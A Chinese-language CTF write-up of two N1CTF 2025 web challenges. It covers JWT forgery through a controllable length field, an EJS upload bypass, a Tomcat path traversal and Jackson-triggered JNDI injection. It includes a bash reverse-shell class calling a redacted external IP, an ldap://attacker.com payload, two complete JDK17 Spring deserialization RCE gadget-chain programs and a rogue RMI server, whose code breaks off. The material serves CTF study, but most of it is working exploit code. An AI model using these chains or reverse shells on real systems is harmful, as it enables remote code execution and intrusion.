N1CTF 2025 赛后复现
N1CTF2025 赛后复现
只看了这两个题,且没做出来 😔
eezzjs
管理员账号为 admin

密码不可爆破
jwt 的密钥也是一样的
自己实现的签名和校验,肯定有猫腻
const signJWT = (payload, { expiresIn } = {}, secret = JWT_SECRET) => {
const header = { alg: 'HS256', typ: 'JWT' };
const now = Math.floor(Date.now() / 1000);
console.log(payload)
const body = { ...payload, length:payload.username.length,iat: now };
if (expiresIn) {
body.exp = now + expiresIn;
}
return [
toBase64Url(JSON.stringify(header)),
toBase64Url(JSON.stringify(body)),
sha256(...[JSON.stringify(header), body, secret])
].join('.');
};
const verifyJWT = (token, secret = JWT_SECRET) => {
if (typeof token !== 'string') {
return null;
}
const parts = token.split('.');
if (parts.length !== 3) {
return null;
}
const [encodedHeader, encodedPayload, signature] = parts;
let header;
let payload;
try {
header = JSON.parse(fromBase64Url(encodedHeader).toString());
payload = JSON.parse(fromBase64Url(encodedPayload).toString());
} catch (err) {
return null;
}
const expectedSignatureHex = sha256(...[JSON.stringify(header), payload, secret]);
let providedSignature;
let expectedSignature;
try {
providedSignature = Buffer.from(signature, 'hex');
expectedSignature = Buffer.from(expectedSignatureHex, 'hex');
} catch (err) {
return null;
}
if (
providedSignature.length !== expectedSignature.length ||
!crypto.timingSafeEqual(providedSignature, expectedSignature)
) {
return null;
}
if (header.alg !== 'HS256') {
return null;
}
if (payload.exp && Math.floor(Date.now() / 1000) >= payload.exp) {
return null;
}
return payload;
};
查依赖发现 sha.js 不是最新的
CVE-2025-9288
https://github.com/advisories/GHSA-95m3-7q98-8xr5
先歇了,明天看
感觉不太好利用 应该是打哈希碰撞?
都是字符串,构不出碰撞
复现:
当然构不出碰撞(
这题需要打哈希回滚
const parts = token.split('.');
const [encodedHeader, encodedPayload, signature] = parts;
let header;
let payload;
try {
header = JSON.parse(fromBase64Url(encodedHeader).toString());
payload = JSON.parse(fromBase64Url(encodedPayload).toString());
} catch (err) {
return null;
}
const expectedSignatureHex = sha256(...[JSON.stringify(header), payload, secret]);
注意到 jwt 校验时的 header 和 body 其实都是从传入的 token 中解密的,也就是说 length 其实在校验时也可控
所以构造 length=0 即可绕过
当时做的时候没有意识到这个问题,一直在试碰撞的构造方法
另一个需要注意的地方是测试的密钥长度也要和题目一致,当时没成功也有这个一部分原因
const JWT_SECRET = "a".repeat(18);
const signJWT = (payload, { expiresIn } = {}, secret = JWT_SECRET) => {
const header = { alg: 'HS256', typ: 'JWT' };
const now = Math.floor(Date.now() / 1000);
console.log(payload)
const body = { ...payload, length: -45, iat: now };
if (expiresIn) {
body.exp = now + expiresIn;
}
return [
toBase64Url(JSON.stringify(header)),
toBase64Url(JSON.stringify(body)),
sha256(...[JSON.stringify(header), body, secret])
].join('.');
};
const token = signJWT({ username: "admin" }, { expiresIn: 3600 });
console.log(token)
//eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwibGVuZ3RoIjotNDUsImlhdCI6MTc2MjE3NzczOCwiZXhwIjoxNzYyMTgxMzM4fQ.674dcdbbb09261235ee8efc1999daee725dad0ec314a8d1d80cb11229e7596c1
const v = verifyJWT(token,"b".repeat(18))
console.log(v)
//{ username: 'admin', length: -45, iat: 1762177738, exp: 1762181338 }
45 是 header 和 secret 的总长,这里是慢慢试出来的

下面看一下上传文件的源码
function uploadFile(req, res) {
var {filedata,filename}=req.body;
var ext = path.extname(filename).toLowerCase();
if (/js/i.test(ext)) {
return res.status(403).send('Denied filename');
}
var filepath = path.join(uploadDir,filename);
if (fs.existsSync(filepath)) {
return res.status(500).send('File already exists');
}
fs.writeFile(filepath, filedata, 'base64', (err) => {
if (err) {
console.log(err);
res.status(500).send('Error saving file');
} else {
res.status(200).send({ message: 'File uploaded successfully', path: `/uploads/${path}` });
}
});
}
对后缀名做了过滤,filename 可控,应该是打 ejs 模板
ejs 引擎默认存在 templ 参数会导致模板文件包含
后缀名可以通过 /. 绕过,也可以使用 .node


其实不难,做的时候想当然了
n1cat
附件就下面这个
RewriteCond %{QUERY_STRING} (^|&)path=([^&]+)
RewriteRule ^/download$ /%2 [B,L]
apache 的一个配置文件
大概就是 download?path=xxx 会重定向到网站根目录下读文件
Apache Tomcat RewriteValve 目录遍历漏洞 | CVE-2025-55752 复现-CSDN 博客
版本是 Apache Tomcat/9.0.108 确实有这个漏洞

<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0">
<servlet>
<servlet-name>welcomeServlet</servlet-name>
<servlet-class>ctf.n1cat.welcomeServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>welcomeServlet</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>
没有别的接口了
读一下源码
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package ctf.n1cat;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.ObjectNode;
import java.io.IOException;
import java.io.PrintWriter;
import java.net.URLEncoder;
import java.nio.charset.StandardCharsets;
import javax.servlet.RequestDispatcher;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@WebServlet(
name = "welcomeServlet",
value = {"/"}
)
public class welcomeServlet extends HttpServlet {
private static final String DEFAULT_NAME = "guest";
private static final String DEFAULT_WORD = "welcome";
private static final ObjectMapper OBJECT_MAPPER = new ObjectMapper();
public welcomeServlet() {
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
String requestUri = request.getRequestURI();
String contextPath = request.getContextPath();
String pathWithinApp = requestUri.substring(contextPath.length());
if (this.shouldDelegate(pathWithinApp)) {
this.delegateToDefaultResource(pathWithinApp, request, response);
} else {
String jsonPayload = request.getParameter("json");
String nameParam = request.getParameter("name");
String wordParam = request.getParameter("word");
String urlParam = request.getParameter("url");
if (this.isBlank(jsonPayload) && !this.isBlank(nameParam) && !this.isBlank(wordParam)) {
ObjectNode composed = OBJECT_MAPPER.createObjectNode();
composed.put("name", nameParam);
composed.put("word", wordParam);
if (!this.isBlank(urlParam)) {
composed.put("url", urlParam);
}
jsonPayload = composed.toString();
}
if (this.isBlank(jsonPayload)) {
response.sendRedirect(this.defaultRedirectTarget(request));
} else {
try {
User user = (User)OBJECT_MAPPER.readValue(jsonPayload, User.class);
String name = user.getName();
String word = user.getWord();
String url = user.getUrl();
if (this.isBlank(name) || this.isBlank(word)) {
response.sendRedirect(this.defaultRedirectTarget(request));
return;
}
this.renderResponse(response, name, word, url);
} catch (JsonProcessingException var14) {
response.sendError(400, "Invalid JSON payload");
} catch (RuntimeException var15) {
response.sendError(400, "Invalid user data");
}
}
}
}
private boolean shouldDelegate(String pathWithinApp) {
return pathWithinApp != null && !pathWithinApp.isEmpty() && !"/".equals(pathWithinApp);
}
private void delegateToDefaultResource(String pathWithinApp, HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
RequestDispatcher defaultDispatcher = this.getServletContext().getNamedDispatcher("default");
if (defaultDispatcher != null) {
defaultDispatcher.forward(request, response);
} else {
request.getRequestDispatcher(pathWithinApp).forward(request, response);
}
}
private void renderResponse(HttpServletResponse response, String name, String word, String url) throws IOException {
response.setContentType("text/html;charset=UTF-8");
PrintWriter out = response.getWriter();
try {
out.println("<html><body>");
String var10001 = this.escapeHtml(name);
out.println("<h1>" + var10001 + "</h1>");
var10001 = this.escapeHtml(word);
out.println("<p>" + var10001 + "</p>");
if (!this.isBlank(url)) {
var10001 = this.escapeHtml(url);
out.println("<p>URL: " + var10001 + "</p>");
}
out.println("</body></html>");
} catch (Throwable var9) {
if (out != null) {
try {
out.close();
} catch (Throwable var8) {
var9.addSuppressed(var8);
}
}
throw var9;
}
if (out != null) {
out.close();
}
}
private String escapeHtml(String input) {
return input == null ? "" : input.replace("&", "&").replace("<", "<").replace(">", ">").replace("\"", """).replace("'", "'");
}
private String defaultRedirectTarget(HttpServletRequest request) {
String var10000 = request.getContextPath();
return var10000 + "/?name=" + this.urlEncode("guest") + "&word=" + this.urlEncode("welcome");
}
private boolean isBlank(String value) {
return value == null || value.trim().isEmpty();
}
private String urlEncode(String value) {
return URLEncoder.encode(value, StandardCharsets.UTF_8);
}
}
存在 jackson 反序列化
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
String requestUri = request.getRequestURI();
String contextPath = request.getContextPath();
String pathWithinApp = requestUri.substring(contextPath.length());
if (this.shouldDelegate(pathWithinApp)) {
this.delegateToDefaultResource(pathWithinApp, request, response);
} else {
String jsonPayload = request.getParameter("json");
String nameParam = request.getParameter("name");
String wordParam = request.getParameter("word");
String urlParam = request.getParameter("url");
if (this.isBlank(jsonPayload) && !this.isBlank(nameParam) && !this.isBlank(wordParam)) {
ObjectNode composed = OBJECT_MAPPER.createObjectNode();
composed.put("name", nameParam);
composed.put("word", wordParam);
if (!this.isBlank(urlParam)) {
composed.put("url", urlParam);
}
jsonPayload = composed.toString();
}
//如果json为空但三个值不是空,为你构造成json
if (this.isBlank(jsonPayload)) {
response.sendRedirect(this.defaultRedirectTarget(request));
} else {
try {// json反序列化为user对象
User user = (User)OBJECT_MAPPER.readValue(jsonPayload, User.class);
String name = user.getName();
String word = user.getWord();
String url = user.getUrl();
if (this.isBlank(name) || this.isBlank(word)) {
response.sendRedirect(this.defaultRedirectTarget(request));
return;
}
this.renderResponse(response, name, word, url);
} catch (JsonProcessingException var14) {
response.sendError(400, "Invalid JSON payload");
} catch (RuntimeException var15) {
response.sendError(400, "Invalid user data");
}
}
}
}
User 类的源码
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package ctf.n1cat;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class User {
private String name;
private String word;
private String url;
public User() {
}
public String getName() {
return this.name;
}
public String getWord() {
return this.word;
}
public void setWord(String password) {
this.word = password;
}
public void setName(String name) throws NamingException {
this.name = name;
}
public String getUrl() {
return this.url;
}
public void setUrl(String url) {
try {
(new InitialContext()).lookup(url);
} catch (NamingException var3) {
NamingException e = var3;
throw new RuntimeException(e);
}
}
}
setUrl 方法存在 jndi 注入
不知道怎么看 jackson 的版本,直接打打看好了
思路就是用 jackson 触发 setter,然后 jndi
没打过 jndi 注入,学习一下先
public class Exploit {
static {
try {
String host = "120.xxx.xxx.xxx";
int port = 9999;
Runtime.getRuntime().exec(new String[]{
"/bin/bash", "-c",
"bash -i >& /dev/tcp/" + host + "/" + port + " 0>&1"
});
} catch (Exception e) {}
}
}
先尝试打反弹 shell,不出网的话再说
{
"name": "xnftrone",
"word": "kap0kyyds",
"url": "ldap://attacker.com:9999/#Exploit"
}
我去搭个 ldap 环境(
好消息:出网 坏消息:没弹成功
有可能是这个 jdk 版本打不了 jndi
可能需要手动构造
复现:
这道题目是第一次接触 jndi,所以来系统学习一下
首先 JNDI 是 java 的一个应用程序的 api
常规的攻击方式为:JNDI 在解析某些协议(如 ldap://、rmi://)时,如果返回的对象是 Reference 或 Referenceable 类型,JNDI 会尝试从指定的 codebase(代码库地址)动态加载类并实例化。
这种加载方式存在 java 版本的限制

在本题中,JDK 版本为 17,因此无法通过动态加载类的方式攻击,这时我们需要了解高版本 jndi 利用的序列化与反序列化机制
java 高版本下各种 JNDI Bypass 方法复现 - bitterz - 博客园
简单来说高版本的 jndi 有两种利用方法
- 利用 rmi 加载时的 readObject
- 利用本地工厂类绕过 url 可信验证
可用的 jackson 反序列化链子可以从这里找到
https://github.com/datouo/CTF-Java-Gadget
我们主要来看看这个牛逼链子
高版本 JDK 下的 Spring 原生反序列化链 – fushulingのblog
在之前的链子中,我们有一条这样的链子
EventListenerList#readObject() -> POJONode#toString() -> getter
一般情况下,我们会使用 getter 打 TemplatesImpl.getOutputProperties() 链,但是在 JDK 9 之后,java 引入了 JPMS 机制,且在 JDK17 时被强化

由于这个机制的存在,我们在利用 TemplatesImpl 时,com.sun.org.apache.xalan.internal.xsltc.trax 没有 export 给外部,因此会受到模块机制的阻拦
同样的,利用时我们要求目标恶意类需要继承 AbstractTranslet 接口,这也是无法通过 JPMS 的
实际上这都是强封装机制的问题,从这篇文章中我们可以了解到如何绕过
JDK 高版本的模块化以及反射类加载限制绕过 | stoocea's blog
private static Method getMethod(Class clazz, String methodName, Class[] params) {
Method method = null;
while (clazz!=null){
try {
method = clazz.getDeclaredMethod(methodName,params);
break;
}catch (NoSuchMethodException e){
clazz = clazz.getSuperclass();
}
}
return method;
}
private static Unsafe getUnsafe() {
Unsafe unsafe = null;
try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
return unsafe;
}
public void bypassModule(ArrayList<Class> classes){
try {
Unsafe unsafe = getUnsafe();
Class currentClass = this.getClass();
try {
Method getModuleMethod = getMethod(Class.class, "getModule", new
Class[0]);
if (getModuleMethod != null) {
for (Class aClass : classes) {
Object targetModule = getModuleMethod.invoke(aClass, new
Object[]{});
unsafe.getAndSetObject(currentClass,
unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
}
}
}catch (Exception e) {
}
}catch (Exception e){
e.printStackTrace();
}
}
原理大概就是欺骗 JVM 当前类的模块为另一个合法模块
对于 AbstractTranslet 的问题,我们可以这么绕过
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_bytecodes", new byte[][]{code1, code2});
setFieldValue(templates,"_transletIndex",0);
// 满足条件 1. classCount也就是_bytecodes的数量大于1 2. _transletIndex >= 0
// 可去掉 AbstractTranslet
最后一个问题是,我们需要一个方法来稳定 getter,因为其本身触发的 getter 方法是不确定的
JDBC Attack 与高版本 JDK 下的 JNDI Bypass – 奇安信技术研究院
这里可以使用 Spring Boot 里一个代理工具类进行封装,使 Jackson 只获取到我们需要的 getter,就实现了稳定利用。
public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
return proxy;
}
这个方法为 TemplatesImpl 创建了一个动态代理,使其看起来像是一个 Templates 的接口实现
javax.xml.transform.Templates 在 java.xml 模块中是公开 exports 的,因此绕过了强封装问题
同时 Templates 接口只有 getOutputProperties() 一个 getter,因此成功产生了稳定的 getter

fushuling 师傅博客给出的最终 poc
import javax.swing.event.EventListenerList;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import javax.swing.undo.UndoManager;
import java.util.Base64;
import java.util.Vector;
import java.util.ArrayList;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import sun.misc.Unsafe;
import java.lang.reflect.Method;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import javax.xml.transform.Templates;
import java.lang.reflect.*;
// --add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED
public class SpringRCE {
public static void main(String[] args) throws Exception{
// 删除writeReplace保证正常反序列化
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}
// 把模块强行修改,切换成和目标类一样的 Module 对象
ArrayList<Class> classes = new ArrayList<>();
classes.add(TemplatesImpl.class);
classes.add(POJONode.class);
classes.add(EventListenerList.class);
classes.add(SpringRCE.class);
classes.add(Field.class);
classes.add(Method.class);
new SpringRCE().bypassModule(classes);
// ===== EXP 构造 =====
byte[] code1 = getTemplateCode();
byte[] code2 = ClassPool.getDefault().makeClass("fushuling").toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_bytecodes", new byte[][]{code1, code2});
setFieldValue(templates,"_transletIndex",0);
POJONode node = new POJONode(makeTemplatesImplAopProxy(templates));
EventListenerList eventListenerList = getEventListenerList(node);
serialize(eventListenerList, true);
}
public static byte[] serialize(Object obj, boolean flag) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
if (flag) System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
return baos.toByteArray();
}
public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
return proxy;
}
public static byte[] getTemplateCode() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("MyTemplate");
String block = "Runtime.getRuntime().exec(\"calc.exe\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}
public static EventListenerList getEventListenerList(Object obj) throws Exception{
EventListenerList list = new EventListenerList();
UndoManager undomanager = new UndoManager();
//取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发toString的类add进去。
Vector vector = (Vector) getFieldValue(undomanager, "edits");
vector.add(obj);
setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager});
return list;
}
private static Method getMethod(Class clazz, String methodName, Class[]
params) {
Method method = null;
while (clazz!=null){
try {
method = clazz.getDeclaredMethod(methodName,params);
break;
}catch (NoSuchMethodException e){
clazz = clazz.getSuperclass();
}
}
return method;
}
private static Unsafe getUnsafe() {
Unsafe unsafe = null;
try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
return unsafe;
}
public void bypassModule(ArrayList<Class> classes){
try {
Unsafe unsafe = getUnsafe();
Class currentClass = this.getClass();
try {
Method getModuleMethod = getMethod(Class.class, "getModule", new
Class[0]);
if (getModuleMethod != null) {
for (Class aClass : classes) {
Object targetModule = getModuleMethod.invoke(aClass, new
Object[]{});
unsafe.getAndSetObject(currentClass,
unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
}
}
}catch (Exception e) {
}
}catch (Exception e){
e.printStackTrace();
}
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field field = null;
Class c = obj.getClass();
for (int i = 0; i < 5; i++) {
try {
field = c.getDeclaredField(fieldName);
} catch (NoSuchFieldException e) {
c = c.getSuperclass();
}
}
field.setAccessible(true);
return field.get(obj);
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception {
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
}
官方 wp 的 poc
import javax.swing.event.EventListenerList;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import javax.swing.undo.UndoManager;
import java.util.Base64;
import java.util.Vector;
import java.util.ArrayList;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import sun.misc.Unsafe;
import java.lang.reflect.Method;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import javax.xml.transform.Templates;
import java.lang.reflect.*;
// --add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED
public class SpringRCE {
public static void main(String[] args) throws Exception{
// 删除writeReplace保证正常反序列化
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}
// 把模块强行修改,切换成和目标类一样的 Module 对象
ArrayList<Class> classes = new ArrayList<>();
classes.add(TemplatesImpl.class);
classes.add(POJONode.class);
classes.add(EventListenerList.class);
classes.add(SpringRCE.class);
classes.add(Field.class);
classes.add(Method.class);
new SpringRCE().bypassModule(classes);
// ===== EXP 构造 =====
byte[] code1 = getTemplateCode();
byte[] code2 = ClassPool.getDefault().makeClass("fushuling").toBytecode();//whatever 绕过AbstractTranslet
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_bytecodes", new byte[][]{code1, code2});
setFieldValue(templates,"_transletIndex",0);
POJONode node = new POJONode(makeTemplatesImplAopProxy(templates));
EventListenerList eventListenerList = getEventListenerList(node);
serialize(eventListenerList, true);
}
public static byte[] serialize(Object obj, boolean flag) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
if (flag) System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
return baos.toByteArray();
}
public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
return proxy;
}
public static byte[] getTemplateCode() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("MyTemplate");
String block = "Runtime.getRuntime().exec(\"calc.exe\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}
public static EventListenerList getEventListenerList(Object obj) throws Exception{
EventListenerList list = new EventListenerList();
UndoManager undomanager = new UndoManager();
//取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发toString的类add进去。
Vector vector = (Vector) getFieldValue(undomanager, "edits");
vector.add(obj);
setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager});
return list;
}
private static Method getMethod(Class clazz, String methodName, Class[]
params) {
Method method = null;
while (clazz!=null){
try {
method = clazz.getDeclaredMethod(methodName,params);
break;
}catch (NoSuchMethodException e){
clazz = clazz.getSuperclass();
}
}
return method;
}
private static Unsafe getUnsafe() {
Unsafe unsafe = null;
try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
return unsafe;
}
public void bypassModule(ArrayList<Class> classes){
try {
Unsafe unsafe = getUnsafe();
Class currentClass = this.getClass();
try {
Method getModuleMethod = getMethod(Class.class, "getModule", new
Class[0]);
if (getModuleMethod != null) {
for (Class aClass : classes) {
Object targetModule = getModuleMethod.invoke(aClass, new
Object[]{});
unsafe.getAndSetObject(currentClass,
unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
}
}
}catch (Exception e) {
}
}catch (Exception e){
e.printStackTrace();
}
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field field = null;
Class c = obj.getClass();
for (int i = 0; i < 5; i++) {
try {
field = c.getDeclaredField(fieldName);
} catch (NoSuchFieldException e) {
c = c.getSuperclass();
}
}
field.setAccessible(true);
return field.get(obj);
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception {
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
}
服务器
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.ObjectStreamClass;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.SocketException;
import java.net.URL;
import java.net.URLClassLoader;
import java.rmi.MarshalException;
import java.rmi.server.ObjID;
import java.rmi.server.UID;
import javax.net.ServerSocketFactory;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
public class evilServer implements Runnable {
public static void main(String[] args) {
//before you start it, you should set vm options:"--add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED"
evilServer.start();
}
private static final Logger log = LoggerFactory.getLogger(evilServer.class);
public String ip;
public int port;
private ServerSocket ss;
private final Object waitLock = new Object();
private boolean exit;
private boolean hadConnection;
private static evilServer serverInstance;
public evilServer(String ip, int port) {
try {
this.ip = ip;
this.port = port;
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
} catch (Exception e) {
e.printStackTrace();
}
}
public static synchronized void start() {
serverInstance = new evilServer("0.0.0.0", 8899);
Thread serverThread = new Thread(serverInstance);
serverThread.start();
log.warn("[RMI Server] is already running.");
}
public static synchronized void stop() {
if (serverInstance != null) {
serverInstance.exit = true;
try {
serverInstance.ss.close();
} catch (IOException e) {
e.printStackTrace();
}
serverInstance = null;
log.info("[RMI Server] stopped.");
}
}
public boolean waitFor(int i) {
try {
if (this.hadConnection) {
return true;
} else {
log.info("[RMI Server] Waiting for connection");
synchronized(this.waitLock) {
this.waitLock.wait((long)i);
}
return this.hadConnection;
}
} catch (InterruptedException var5) {
return false;
}
}
public void close() {
this.exit = true;
try {
this.ss.close();
} catch (IOException var4) {
}
synchronized(this.waitLock) {
this.waitLock.notify();
}
}
public void run() {
log.info("[RMI Server] Listening on {}:{}", "127.0.0.1", "8899");
try {
Socket s = null;
try {
while(!this.exit && (s = this.ss.accept()) != null) {
try {
s.setSoTimeout(5000);
InetSocketAddress remote = (InetSocketAddress)s.getRemoteSocketAddress();
log.info("[RMI Server] Have connection from " + remote);
InputStream is = s.getInputStream();
InputStream bufIn = (InputStream)(is.markSupported() ? is : new BufferedInputStream(is));
bufIn.mark(4);
DataInputStream in = new DataInputStream(bufIn);
Throwable var6 = null;
try {
int magic = in.readInt();
short version = in.readShort();
if (magic == 1246907721 && version == 2) {
OutputStream sockOut = s.getOutputStream();
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
DataOutputStream out = new DataOutputStream(bufOut);
Throwable var12 = null;
try {
byte protocol = in.readByte();
switch (protocol) {
case 75:
out.writeByte(78);
if (remote.getHostName() != null) {
out.writeUTF(remote.getHostName());
} else {
out.writeUTF(remote.getAddress().toString());
}
out.writeInt(remote.getPort());
out.flush();
in.readUTF();
in.readInt();
case 76:
this.doMessage(s, in, out);
bufOut.flush();
out.flush();
break;
case 77:
default:
log.info("[RMI Server] Unsupported protocol");
s.close();
}
} catch (Throwable var88) {
var12 = var88;
throw var88;
} finally {
if (out != null) {
if (var12 != null) {
try {
out.close();
} catch (Throwable var87) {
var12.addSuppressed(var87);
}
} else {
out.close();
}
}
}
} else {
s.close();
}
} catch (Throwable var90) {
var6 = var90;
throw var90;
} finally {
if (in != null) {
if (var6 != null) {
try {
in.close();
} catch (Throwable var86) {
var6.addSuppressed(var86);
}
} else {
in.close();
}
}
}
} catch (InterruptedException var92) {
return;
} catch (Exception e) {
e.printStackTrace(System.err);
} finally {
log.info("[RMI Server] Closing connection");
s.close();
}
}
return;
} finally {
if (s != null) {
s.close();
}
if (this.ss != null) {
this.ss.close();
}
}
} catch (SocketException var96) {
} catch (Exception e) {
e.printStackTrace(System.err);
}
}
private void doMessage(Socket s, DataInputStream in, DataOutputStream out) throws Exception {
log.info("[RMI Server] Reading message...");
int op = in.read();
switch (op) {
case 80:
this.doCall(s, in, out);
break;
case 81:
case 83:
default:
throw new IOException("unknown transport op " + op);
case 82:
out.writeByte(83);
break;
case 84:
UID.read(in);
}
s.close();
}
private void doCall(Socket s, DataInputStream in, DataOutputStream out) throws Exception {
ObjectInputStream ois = new ObjectInputStream(in) {
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException {
if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
return ObjID[].class;
